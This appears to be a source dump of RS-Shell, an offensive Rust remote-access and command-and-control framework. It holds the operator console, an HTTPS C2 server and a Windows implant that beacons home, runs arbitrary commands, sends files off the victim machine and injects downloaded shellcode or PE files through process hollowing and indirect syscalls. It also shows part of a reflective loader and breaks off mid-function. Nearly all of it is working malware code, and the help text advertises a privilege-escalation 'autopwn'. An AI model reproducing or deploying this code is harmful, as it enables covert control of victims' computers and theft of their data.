pub fn operator(ip_addr: &str) -> Result<(), Box> {
// HTTPS client without certificate verification
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
let mut url = format!("https://{}/rs-shell/index", ip_addr);
// Connect to the server and get the banner
let mut response = client.get(url).send()?;
if response.status().is_success() {
let body = response.text()?;
println!("{}", body);
log::info!("[+] Connection success to {} ! BANG BANG !", ip_addr);
log::info!("[+] This shell is yours !");
log::info!("[+] Type 'help' for advanced integrated commands");
// Retrieve the implant's OS
let mut _implant_os = String::new();
url = format!("https://{}/rs-shell/upload./os.txt", ip_addr);
response = client.get(url).send()?;
if response.status().is_success() {
_implant_os = response.text()?;
log::info!("[+] Implant's OS family is {}", _implant_os)
} else {
_implant_os = "undefined".to_string();
log::warn!("Cannot read implant OS : {}", response.status());
}
// Ctrl+C handler to avoid kill the shell by error
ctrlc::set_handler(move || {
println!(
"Ctrl+C handled. Type 'quit' or 'exit' to quit, or kill the process manually."
);
})
.expect("Error setting Ctrl-C handler");
// Command loop
loop {
print!("> ");
io::stdout().flush().unwrap();
let mut cmd = String::new();
io::stdin().read_line(&mut cmd).expect("[-] Input issue");
cmd = cmd.trim_end().to_string();
// Check for help command
if cmd.as_str().starts_with("help") {
println!("{}", https_help());
continue;
}
// Cmd handling
if cmd.trim_end().ne("") {
// Check for download/upload commands
if cmd.as_str().starts_with("download") {
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 2 {
log::warn!(
"Invalid argument number. Usage is : download C:\\file\\to\\download"
);
} else {
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
log::info!("Downloading file : {}", path[1]);
response = client
.post(url)
.body(format!("download:{}", path[1]))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
continue;
} else if cmd.as_str().starts_with("upload") {
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 2 {
log::warn!(
"Invalid argument number. Usage is : upload C:\\file\\to\\upload"
);
} else {
log::info!("Uploading file : {}", path[1]);
/*
Uploading file on the server before uploading it on the target machine
To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file)
*/
url = format!("https://{}/", ip_addr);
match multipart::Form::new()
.file("file", path[1].trim_end_matches("\r\n\0"))
{
Ok(form) => {
response = client.post(url).multipart(form).send()?;
if response.status().is_success() {
let filename = Path::new(path[1].trim())
.file_name()
.unwrap()
.to_str()
.unwrap();
let file_path = format!("./downloads/{}", filename);
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client
.post(url)
.body(format!("upload:{}", file_path))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
}
Err(e) => log::debug!("Error: {}", e),
}
}
continue;
} else if cmd.as_str().starts_with("load -h")
|| cmd.as_str().starts_with("load -s")
|| cmd.as_str().starts_with("syscalls -h")
|| cmd.as_str().starts_with("syscalls -s")
{
if _implant_os.ne("windows") {
log::warn!(
"Client's OS is not Windows, this command doesn't make any sense"
);
continue;
}
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 4 {
log::warn!("Invalid argument number. Usage is : {} -h|-s C:\\path\\to\\file_to_inject C:\\path\\to\\process_to_start", path[0]);
} else {
// In case of shellcode injection, the implant will load it from the server and execute it without touching the disk
// So we need to upload the shellcode file on the server first
if cmd.as_str().starts_with("load -s")
|| cmd.as_str().starts_with("syscalls -s")
{
log::info!(
"Sending shellcode file {:?} to the server",
path[1].trim_end_matches("\r\n\0")
);
/*
Uploading shellcode file on the server
To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file)
*/
url = format!("https://{}/", ip_addr);
match multipart::Form::new()
.file("file", path[2].trim_end_matches("\r\n\0"))
{
Ok(form) => {
response = client.post(url).multipart(form).send()?;
if response.status().is_success() {
log::info!("Shellcode file uploaded in the 'downloads' directory on the server");
let filename = Path::new(path[2].trim())
.file_name()
.unwrap()
.to_str()
.unwrap();
let file_path = format!("./downloads/{}", filename);
// Sending the command to the implant
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
log::info!(
"Loading shellcode into a remote process memory"
);
response = client
.post(url)
.body(format!(
"{} {}:{} {}",
path[0], path[1], file_path, path[3]
))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
Err(e) => log::debug!("Error: {}", e),
}
} else {
// In case of PE injection with process hollowing
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
log::info!("Loading {} into {}", path[0], path[1]);
response = client
.post(url)
.body(format!("{} {}:{} {}", path[0], path[1], path[2], path[3]))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
}
continue;
} else if cmd.as_str().starts_with("load ") || cmd.as_str().starts_with("syscalls ")
{
if _implant_os.ne("windows") {
log::warn!(
"Client's OS is not Windows, this command doesn't make any sense"
);
continue;
}
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 2 {
log::warn!(
"Invalid argument number. Usage is : {} C:\\path\\to\\file_to_inject",
path[0]
);
} else {
log::info!("Loading PE into the implant memory");
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client
.post(url)
.body(format!("{}:{}", path[0], path[1]))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
continue;
} else if cmd.as_str().starts_with("autopwn") {
print!("What is the meaning of life ? ");
io::stdout().flush().unwrap();
let mut life = String::new();
io::stdin().read_line(&mut life).expect("[-] Input issue");
if life
.trim_end_matches('\0')
.trim_end()
.eq_ignore_ascii_case("42")
{
autopwn::autopwn();
}
continue;
} else if cmd.as_str().trim_end() == "exit" || cmd.as_str().trim_end() == "quit" {
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client.post(url).body(cmd).send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
println!("[+] Goodbye my friend <3");
}
break;
} else {
// To run a cmd command
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client.post(url).body(format!("cmd:{}", cmd)).send()?;
if response.status().is_success() {
let body = response.text()?;
log::debug!("{}", body);
// Retrieve the output
url = format!("https://{}/rs-shell/wait_for_output", ip_addr);
response = client.get(url).send()?;
if response.status().is_success() {
let body = response.text()?;
println!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
}
}
} else {
log::error!("RS-Shell server cannot be reached: {}", response.status());
}
Ok(())
}
fn https_help() -> String {
"[+] Custom integrated commands :
[+] Loading commands
> load C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it. This will kill the implant !
> load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it
> load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it
[+] Loading commands with indirect syscalls
> syscalls C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !
> syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls
> syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls
[+] Network commands
> download C:\\file\\to\\download
download a file from the remote system and store it on the server
> upload C:\\local\\file\\to\\upload
upload a file from the operator machine to the remote system
[+] Special commands
> autopwn
escalate to the SYSTEM or root account from any local account by exploiting a zero day
".to_string()
}
================================================
FILE: src/https/https_server.rs
================================================
use actix_multipart::form::tempfile::TempFileConfig;
use actix_web::http::KeepAlive;
use actix_web::{App, HttpServer, middleware, web};
use std::fs::File;
use std::io::BufReader;
use std::sync::Arc;
use crate::https::routes::*;
#[actix_web::main]
pub async fn server(i: &str, cert_path: &str, tls_key: &str) -> std::io::Result<()> {
rustls::crypto::ring::default_provider();
// Rustls doen't seem to support PKCS12 currently, so we need to use PEM
let mut certs_file = BufReader::new(File::open(cert_path).unwrap());
let mut key_file = BufReader::new(File::open(tls_key).unwrap());
// to create a self-signed temporary cert for testing:
// `openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'`
let tls_certs = rustls_pemfile::certs(&mut certs_file)
.collect::, _>>()
.unwrap();
let tls_key = rustls_pemfile::pkcs8_private_keys(&mut key_file)
.next()
.unwrap()
.unwrap();
// set up TLS config options
let tls_config = rustls::ServerConfig::builder()
.with_no_client_auth()
.with_single_cert(tls_certs, rustls::pki_types::PrivateKeyDer::Pkcs8(tls_key))
.unwrap();
log::info!("Creating directories and files");
std::fs::create_dir_all("./downloads")?;
std::fs::create_dir_all("./tmp")?;
let state = Arc::new(AppState::new());
let port = 443;
HttpServer::new(move || {
let data = web::Data::new(state.clone());
App::new()
.wrap(middleware::Logger::default())
.app_data(TempFileConfig::default().directory("./tmp"))
.app_data(data)
/*
Using routes instead of services with a scope and macros, because file upload with multipart data seems bugged with scopes
Additionally, it looks like it is only possible to send multipart request to the root of the app, which must be declared as a service with a resource
If someone knows how to fix this, please let me know
*/
.service(web::resource("/").route(web::post().to(download)))
.route("/rs-shell/index", web::get().to(index))
.route("/rs-shell/next_task", web::get().to(next_task))
.route(
"/rs-shell/shellcode{shellcode:.*}",
web::get().to(shellcode),
)
.route("/rs-shell/wait_for_output", web::get().to(wait_for_output))
.route("/rs-shell/upload{filename:.*}", web::get().to(upload))
.route("/rs-shell/receive_output", web::post().to(receive_output))
.route("/rs-shell/operator_cmd", web::post().to(operator_cmd))
.route("/rs-shell/os", web::post().to(implant_os))
})
.bind_rustls_0_22((i, port), tls_config)?
.keep_alive(KeepAlive::Os)
.run()
.await
}
================================================
FILE: src/https/https_windows_implant.rs
================================================
use crate::utils::tools_windows::{call_loader_pe, call_loader_shellcode};
use std::error::Error;
use std::ffi::c_void;
use std::ffi::CString;
use std::fs::File;
use std::io::{self, BufReader, Read, Write};
use std::path::Path;
use std::process::Command;
use std::ptr::null_mut;
use std::{thread, time};
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::Networking::WinHttp::{
INTERNET_DEFAULT_HTTPS_PORT, SECURITY_FLAG_IGNORE_UNKNOWN_CA,
};
use windows_sys::Win32::Networking::WinInet::{
HttpOpenRequestA, HttpSendRequestA, InternetCloseHandle, InternetConnectA, InternetErrorDlg,
InternetOpenA, InternetReadFile, InternetSetOptionA, ERROR_INTERNET_FORCE_RETRY,
FLAGS_ERROR_UI_FILTER_FOR_ERRORS, FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, INTERNET_FLAG_IGNORE_CERT_CN_INVALID,
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NEED_FILE,
INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD, INTERNET_FLAG_SECURE,
INTERNET_OPEN_TYPE_PRECONFIG, INTERNET_OPTION_SECURITY_FLAGS, INTERNET_SERVICE_HTTP,
SECURITY_FLAG_IGNORE_WRONG_USAGE,
};
use windows_sys::Win32::System::Console::GetConsoleWindow;
fn init_session(ip: &str, url: &str) -> Result<(*mut c_void, *mut c_void), io::Error> {
// Standard user agent setup, can be changed to a custom one
let user_agent_cstring = CString::new("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36").unwrap();
let user_agent = user_agent_cstring.as_ptr() as *const u8;
unsafe {
// The flag 'INTERNET_OPEN_TYPE_PRECONFIG' permits to find proxy configurations in the registry
let h_internet = InternetOpenA(
user_agent,
INTERNET_OPEN_TYPE_PRECONFIG,
null_mut(),
null_mut(),
0,
);
if h_internet.is_null() {
return Err(io::Error::last_os_error());
}
let ip_cstring = CString::new(ip).unwrap();
let ip = ip_cstring.as_ptr() as *const u8;
let h_connect = InternetConnectA(
h_internet,
ip,
INTERNET_DEFAULT_HTTPS_PORT,
null_mut(),
null_mut(),
INTERNET_SERVICE_HTTP,
0,
0,
);
if h_connect.is_null() {
InternetCloseHandle(h_internet);
return Err(io::Error::last_os_error());
}
let http_verb = "GET";
make_request(h_connect, url, http_verb, null_mut(), 0, false)?;
Ok((h_internet, h_connect))
}
}
unsafe fn make_request(
h_connect: *mut c_void,
url: &str,
http_verb: &str,
data: *mut c_void,
data_len: u32,
download: bool,
) -> io::Result> {
let http_verb_cstring = CString::new(http_verb).unwrap();
let http_verb = http_verb_cstring.as_ptr() as *const u8;
let url_cstring = CString::new(url).unwrap();
let url = url_cstring.as_ptr() as *const u8;
unsafe {
// The flag 'INTERNET_FLAG_KEEP_CONNECTION' permits to handle authentication
let h_request = HttpOpenRequestA(
h_connect,
http_verb,
url,
null_mut(),
null_mut(),
null_mut(),
INTERNET_FLAG_RELOAD
| INTERNET_FLAG_SECURE
| INTERNET_FLAG_KEEP_CONNECTION
| INTERNET_FLAG_NEED_FILE
| INTERNET_FLAG_NO_CACHE_WRITE,
0,
);
if h_request.is_null() {
return Err(io::Error::last_os_error());
}
// Flags to ignore certificate errors
let mut flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
| SECURITY_FLAG_IGNORE_WRONG_USAGE
| INTERNET_FLAG_IGNORE_CERT_CN_INVALID
| INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
InternetSetOptionA(
h_request,
(INTERNET_OPTION_SECURITY_FLAGS as i32).try_into().unwrap(),
&mut flags as *mut _ as *mut c_void,
std::mem::size_of_val(&flags) as u32,
);
loop {
if download {
let headers = CString::new("Content-Type: multipart/form-data; boundary=---------------------------345495480920487783503652546823").unwrap();
let success = HttpSendRequestA(
h_request,
headers.as_ptr() as *const u8,
-1isize as u32,
data,
data_len,
);
if success == 0 {
InternetCloseHandle(h_request);
return Err(io::Error::last_os_error());
}
} else {
let success = HttpSendRequestA(h_request, null_mut(), 0, data, data_len);
if success == 0 {
log::debug!("HttpSendRequestA error: {}", io::Error::last_os_error());
InternetCloseHandle(h_request);
return Err(io::Error::last_os_error());
}
}
// Check the errors and if the request requires authentication
let dw_error_code = GetLastError();
let hwnd = GetConsoleWindow();
let dw_error = InternetErrorDlg(
hwnd,
h_request,
dw_error_code,
FLAGS_ERROR_UI_FILTER_FOR_ERRORS
| FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS
| FLAGS_ERROR_UI_FLAGS_GENERATE_DATA,
null_mut(),
);
if dw_error == ERROR_INTERNET_FORCE_RETRY {
log::debug!("Force retry error: {}", io::Error::last_os_error());
continue;
} else {
break;
}
}
let mut buffer = [0; 1024];
let mut vec_output = Vec::new();
let mut read_size = 0;
while InternetReadFile(
h_request,
buffer.as_mut_ptr() as *mut _,
buffer.len() as u32,
&mut read_size,
) != 0
&& read_size > 0
{
vec_output.extend_from_slice(&buffer[..read_size as usize]);
read_size = 0;
}
InternetCloseHandle(h_request);
Ok(vec_output)
}
}
fn do_stuff(cmd: &str) -> Vec {
let exec = Command::new("cmd.exe").args(&["/c", cmd]).output().unwrap();
let stdo = exec.stdout.as_slice();
let _stdr = exec.stderr.as_slice();
if _stdr.len() == 0 {
return stdo.to_vec();
} else {
return _stdr.to_vec();
}
}
pub fn implant(ip: &str) -> Result<(), Box> {
// Usefull for proxy authentication if proxy and credentials are already known
/*let proxy = "http://proxyserver:8080";
let username = "username";
let password = "password";*/
let index_url = "/rs-shell/index";
match init_session(ip, index_url) {
Ok((h_internet, h_connect)) => {
log::debug!("Session initialized");
let os = std::env::consts::FAMILY;
unsafe {
make_request(
h_connect,
"/rs-shell/os",
"POST",
os.as_ptr() as *mut c_void,
os.len() as u32,
false,
)
.expect("Error sending OS family");
}
loop {
match unsafe {
make_request(
h_connect,
"/rs-shell/next_task",
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
log::debug!(
"Task: {:?}",
String::from_utf8_lossy(response.as_slice())
.trim()
.trim_start_matches('\u{feff}')
);
// Needed to avoid borrowing error on freed value
let res = String::from_utf8_lossy(response.as_slice())
.trim()
.trim_start_matches('\u{feff}')
.to_string();
let (cmd, value) = match res.split_once(':') {
Some((cmd, value)) => (cmd, value),
None => (res.as_str(), ""),
};
match cmd {
"cmd" => {
let mut res_cmd = do_stuff(value);
log::debug!("{:?}", String::from_utf8_lossy(res_cmd.as_slice()));
match unsafe {
make_request(
h_connect,
"/rs-shell/receive_output",
"POST",
res_cmd.as_mut_ptr() as *mut c_void,
res_cmd.len() as u32,
false,
)
} {
Ok(_) => log::debug!("Command executed"),
Err(e) => log::debug!("Error: {}", e),
}
}
"load" | "load -h" | "load -s" => {
if cmd == "load -h" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!("Loading the PE {} into the process {} with process hollowing", path[0], path[1]);
match call_loader_pe(path[0], path[1], 0) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!(
"Error loading PE in the remote process: {}",
e
),
}
} else if cmd == "load -s" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!(
"Loading the shellcode {} into the {} process memory",
path[0],
path[1]
);
match unsafe {
make_request(
h_connect,
("/rs-shell/shellcode".to_owned() + path[0]).as_str(),
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
//let shellcode = response.as_slice();
match call_loader_shellcode(response, path[1], 1) {
Ok(_) => log::debug!("Shellcode loaded"),
Err(e) => {
log::debug!("Error loading shellcode: {}", e)
}
}
}
Err(e) => log::debug!("Error: {}", e),
}
} else {
log::debug!("Loading the PE {} into the implant memory", value);
match call_loader_pe(value, "", 2) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!("Error loading PE: {}", e),
}
}
}
"syscalls" | "syscalls -h" | "syscalls -s" => {
if cmd == "syscalls -h" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!("Loading the PE {} into the process {} with process hollowing", path[0], path[1]);
match call_loader_pe(path[0], path[1], 1) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!(
"Error loading PE in the remote process: {}",
e
),
}
} else if cmd == "syscalls -s" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!(
"Loading the shellcode into a remote process memory"
);
match unsafe {
make_request(
h_connect,
("/rs-shell/shellcode".to_owned() + path[0]).as_str(),
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
let shellcode = response.as_slice();
match call_loader_shellcode(
shellcode.to_vec(),
path[1],
0,
) {
Ok(_) => log::debug!("Shellcode loaded"),
Err(e) => {
log::debug!("Error loading shellcode: {}", e)
}
}
}
Err(e) => log::debug!("Error: {}", e),
}
} else {
log::debug!("Loading the PE {} into the implant memory", value);
match call_loader_pe(value, "", 3) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!("Error loading PE: {}", e),
}
}
}
"upload" => {
let path = Path::new(value.trim());
log::debug!(
"Uploading...{}",
path.file_name().unwrap().to_str().unwrap()
);
match unsafe {
make_request(
h_connect,
("/rs-shell/upload".to_owned() + value).as_str(),
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
File::create(path.file_name().unwrap().to_str().unwrap())
.unwrap()
.write_all(response.as_slice())?;
}
Err(e) => log::debug!("Error: {}", e),
}
}
"download" => {
let path = Path::new(value.trim());
log::debug!(
"Downloading...{}",
path.file_name().unwrap().to_str().unwrap()
);
match File::open(path) {
Ok(file) => {
let mut reader = BufReader::new(file);
let mut buffer = Vec::new();
reader
.read_to_end(&mut buffer)
.expect("Error reading file");
// Let's build the multipart form data for big files
let begin_multipart = String::from("-----------------------------345495480920487783503652546823\r\nContent-Disposition: form-data; name=\"file\"; filename=\"".to_owned() + path.file_name().unwrap().to_str().unwrap() + "\"\r\nContent-Type: text/plain\r\n\r\n");
let end_multipart = String::from("\r\n-----------------------------345495480920487783503652546823--\r\n");
buffer.splice(
0..0,
begin_multipart.as_bytes().iter().cloned(),
);
buffer.extend(end_multipart.as_bytes());
match unsafe {
make_request(
h_connect,
"/",
"POST",
buffer.as_mut_ptr() as *mut c_void,
buffer.len() as u32,
true,
)
} {
Ok(response) => log::debug!(
"{}",
String::from_utf8_lossy(response.as_slice())
),
Err(e) => log::debug!("Error: {}", e),
}
}
Err(e) => log::debug!("Error: {}", e),
}
}
"No task" => {
log::debug!("No task");
}
"exit" | "quit" => {
log::debug!("Exiting...");
unsafe {
InternetCloseHandle(h_connect);
InternetCloseHandle(h_internet);
}
break;
}
_ => log::debug!("Unknown command"),
}
}
Err(e) => {
log::debug!("Error obtaining new task: {}. Trying to reinit the session from the begining.", e);
implant(ip)?;
}
}
// For the moment the implant sleeps 2 seconds between each request, could be interesting to randomize this value
// Or setup an option to change it via the CLI
thread::sleep(time::Duration::from_secs(2));
}
}
Err(e) => {
log::debug!("RS-Shell server cannot be reached: {}", e);
return Err(Box::new(e));
}
}
Ok(())
}
================================================
FILE: src/https/routes.rs
================================================
use actix_files::NamedFile;
use actix_multipart::form::{MultipartForm, tempfile::TempFile};
use actix_web::web::Bytes;
use actix_web::{HttpRequest, HttpResponse, Responder, web};
use std::collections::VecDeque;
use std::fs::File;
use std::io::Write;
use std::path::PathBuf;
use std::sync::Arc;
use tokio::sync::{Mutex, Notify};
pub async fn index(_req: HttpRequest) -> impl Responder {
r#"
____ _____ _____ __ ____
/ __ \/ ___/ / ___// /_ ___ / / /
/ /_/ /\__ \______\__ \/ __ \/ _ \/ / /
/ _, _/___/ /_____/__/ / / / / __/ / /
/_/ |_|/____/ /____/_/ /_/\___/_/_/
in Rust with love by BlackWasp
@BlWasp_
"#
.to_string()
}
pub struct AppState {
task_queue: Mutex>,
output: Mutex>,
output_ready: Notify,
}
impl AppState {
pub fn new() -> Self {
Self {
task_queue: Mutex::new(VecDeque::new()),
output: Mutex::new(None),
output_ready: Notify::new(),
}
}
}
pub async fn implant_os(bytes: Bytes) -> impl Responder {
let os = String::from_utf8_lossy(bytes.to_vec().as_slice())
.parse::()
.unwrap();
log::debug!("OS: {}", os);
let mut file = File::create("os.txt").expect("[-] Create os file failed");
file.write_all(os.as_bytes())
.expect("[-] Write os file failed");
// When a new implant connects, all previous outputs are deleted
match std::fs::remove_file("output.txt") {
Ok(_) => (),
Err(_) => (),
}
HttpResponse::Ok().body("OS written to file")
}
// Consumer : get a task from the queue
pub async fn next_task(state: web::Data>) -> HttpResponse {
let mut queue = state.task_queue.lock().await;
match queue.pop_front() {
Some(task) => HttpResponse::Ok().body(task),
None => HttpResponse::Ok().body("No task"),
}
}
// Similar to upload, this function only exists to make the code clearer
pub async fn shellcode(_req: HttpRequest) -> actix_web::Result {
let path: PathBuf = _req.match_info().query("shellcode").parse().unwrap();
log::debug!("Path: {:?}", path);
Ok(NamedFile::open(path)?)
}
/*
'upload' is used to upload files on the target machine (not on the server), and 'download' is used to download files from the target machine
Upload uses GET and download uses POST because in fact, during upload the implant writes the file on its machine, so it "GETS" the file from the server
While during download, the implant reads the file from its machine and sends it to us, so it "POSTS" the file
This code implies a potential security risk with path traversal, as the filename is not restricted
*/
pub async fn upload(_req: HttpRequest) -> actix_web::Result {
let path: PathBuf = _req.match_info().query("filename").parse().unwrap();
log::debug!("Path: {:?}", path);
Ok(NamedFile::open(path)?)
}
#[derive(Debug, MultipartForm)]
pub struct UploadForm {
#[multipart(rename = "file")]
files: Vec,
}
pub async fn download(MultipartForm(form): MultipartForm) -> impl Responder {
let mut filename = String::new();
println!("Files: {:?}", form.files);
for f in form.files {
let path = format!("./downloads/{}", f.file_name.clone().unwrap());
log::debug!("saving to {path}");
f.file.persist(path).unwrap();
filename = f.file_name.unwrap();
}
HttpResponse::Ok().body(format!("File {} downloaded", filename))
}
// Productor : add a task to the queue
pub async fn operator_cmd(state: web::Data>, bytes: Bytes) -> HttpResponse {
let body = String::from_utf8_lossy(&bytes)
.trim_end_matches("\r\n\0")
.to_string();
let mut queue = state.task_queue.lock().await;
queue.push_back(body);
HttpResponse::Ok().body("Task queued")
}
// Consumer : wait for the output to be ready, then get it and delete it from the state
pub async fn wait_for_output(state: web::Data>) -> HttpResponse {
loop {
// Check if the output is ready, if yes return it and delete it from the state
{
let mut output = state.output.lock().await;
if let Some(data) = output.take() {
log::debug!("Returning output: {}", data);
return HttpResponse::Ok().body(data);
}
} // Release the lock before waiting for the notification
// Wait for the implant to notify that the output is ready
state.output_ready.notified().await;
}
}
// Output received from the implant, save it in the state and notify the waiting consumer
pub async fn receive_output(state: web::Data>, bytes: Bytes) -> HttpResponse {
let body = String::from_utf8_lossy(&bytes).to_string();
log::debug!("Output received: {}", body);
let mut output = state.output.lock().await;
*output = Some(body);
state.output_ready.notify_one();
HttpResponse::Ok().finish()
}
================================================
FILE: src/loader.rs
================================================
#![cfg(target_family = "windows")]
use crate::utils::structures::{
IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER,
MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64,
};
use crate::utils::tools_windows::*;
use std::error::Error;
use std::ffi::c_void;
use std::mem::transmute;
use ntapi::ntmmapi::NtUnmapViewOfSection;
use ntapi::winapi::um::winnt::CONTEXT_INTEGER;
use windows_sys::Wdk::System::Threading::{NtQueryInformationProcess, PROCESSINFOCLASS};
use windows_sys::Win32::Foundation::{CloseHandle, GetLastError};
use windows_sys::Win32::System::Diagnostics::Debug::{
GetThreadContext, ReadProcessMemory, SetThreadContext, WriteProcessMemory,
};
use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};
use windows_sys::Win32::System::Memory::{
VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx,
};
use windows_sys::Win32::System::Threading::{
CreateProcessA, CreateRemoteThread, CreateThread, GetCurrentProcess, ResumeThread,
WaitForSingleObject, PROCESS_BASIC_INFORMATION, STARTUPINFOA,
};
pub fn reflective_loader(buf: Vec) -> Result<(), Box> {
//Retrieve the sizes of the headers and the PE image in memory
let header_s = get_size(&buf, "header");
let img_s = get_size(&buf, "image");
if header_s == 0 || img_s == 0 {
return Err("Error retrieving PE sizes".into());
}
unsafe {
let base = VirtualAlloc(std::ptr::null_mut(), img_s, 0x1000, 0x04);
//Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)
WriteProcessMemory(
GetCurrentProcess(),
base,
buf.as_ptr() as *const c_void,
header_s,
std::ptr::null_mut(),
);
let mut dos_head = IMAGE_DOS_HEADER::default();
fill_structure_from_array(&mut dos_head, &buf, false);
log::debug!("DOS magic header : {:x?}", dos_head.e_magic);
log::debug!(
"Elfa new (address of the begining of the PE): {:x?}",
dos_head.e_lfanew
);
//Retrieve the NT headers starting at the elfa new address
let mut nt_head = IMAGE_nt_headS64::default();
fill_structure_from_memory(
&mut nt_head,
(base as isize + dos_head.e_lfanew as isize) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("NT headers : {:#x?}", nt_head);
//Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory
let mut sections: Vec =
vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];
for i in 0..sections.len() {
fill_structure_from_memory(
&mut sections[i],
(base as usize
+ dos_head.e_lfanew as usize
+ std::mem::size_of_val(&nt_head) as usize
+ (i * std::mem::size_of::() as usize))
as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!(
"Virtual addresses of sections {} is {:#x?}",
string_from_array(&mut sections[i].Name.to_vec()),
sections[i].VirtualAddress
);
//Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)
//Write it into memory at the addr base+VA
let tmp: Vec = buf[sections[i].PointerToRawData as usize
..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]
.to_vec();
WriteProcessMemory(
GetCurrentProcess(),
(base as usize + sections[i].VirtualAddress as usize) as *mut c_void,
tmp.as_ptr() as *const c_void,
tmp.len(),
std::ptr::null_mut(),
);
}
//Retrieve the imports and fix them
log::debug!("{:?}", nt_head.OptionalHeader);
if nt_head.OptionalHeader.ImportTable.Size > 0 {
//Data addr before loading in memory
let mut origin_first_thunk =
base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;
loop {
//Data structure of the imported DLL
let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();
fill_structure_from_memory(
&mut image_descriptor,
origin_first_thunk as *const c_void,
GetCurrentProcess(),
false,
);
if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {
log::debug!("No more import");
break;
} else {
//Retrieve the DLL name and load it by retrieving the name at this address pointed by Name
let import_name = read_from_memory(
(base as usize + image_descriptor.Name as usize) as *const c_void,
GetCurrentProcess(),
false,
);
let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);
log::debug!("Import DLL name : {}", import_name);
//Get pointer of the first thunk of data containing the data of the first imported function
let mut thunk_ptr = base as usize
+ image_descriptor.Characteristics_or_OriginalFirstThunk as usize;
let mut i = 0;
//Parse each thunk one by one to retrieve all the imported functions
loop {
let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();
fill_structure_from_memory(
&mut thunk_data,
(thunk_ptr as usize) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("{:?}", thunk_data);
if thunk_data.Address == [0; 8]
&& u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())
< 0x8000000000000000
{
log::debug!("No more data");
break;
} else {
